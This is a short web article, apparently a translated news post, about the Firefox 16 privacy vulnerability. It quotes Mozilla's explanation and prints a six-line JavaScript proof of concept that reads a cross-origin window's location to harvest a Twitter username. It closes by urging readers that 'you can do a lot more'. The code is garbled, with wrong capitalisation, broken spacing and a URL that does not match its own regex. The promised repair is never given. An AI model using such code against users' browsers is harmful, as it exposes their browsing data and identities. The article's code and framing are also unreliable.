Firefox 16 privacy vulnerability attack method and repair

Firefox released the latest official version of Firefox 16 a few days ago, but a major security vulnerability broke out just one day after it was released. Mozilla then removed the download link of Firefox 16 from the official homepage, in turn, we will continue to provide Firefox 15.0.1.
 
Mozilla explained: "This vulnerability may allow malicious websites to obtain user access records and steal URL or URL parameters. However, there is no indication that the vulnerability has been exploited ."
 
The following is the attack code that uses this vulnerability to obtain user information. It is very simple and requires only six lines:

Function poc (){
Var win = window. open ('https: // www.2cto.com/lists/', 'newwin', 'width = 200, height = 100 ');
SetTimeout (function (){
Alert ('hello' +/^ https: \ // twitter.com \/([^/] +)/. exec (win. location) [1])
},5000 );
}
 
This Code demonstrates using the Firefox 16 vulnerability to collect Twitter user names. Of course, you can do a lot more !!